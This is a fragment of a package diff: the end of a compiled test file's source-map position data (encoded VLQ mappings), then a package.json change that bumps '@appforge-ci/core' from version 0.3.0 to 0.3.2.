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"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@appforge-ci/core",
-  "version": "0.3.0",
+  "version": "0.3.2",
   "license": "MIT",
   "publishConfig": {
     "access": "public"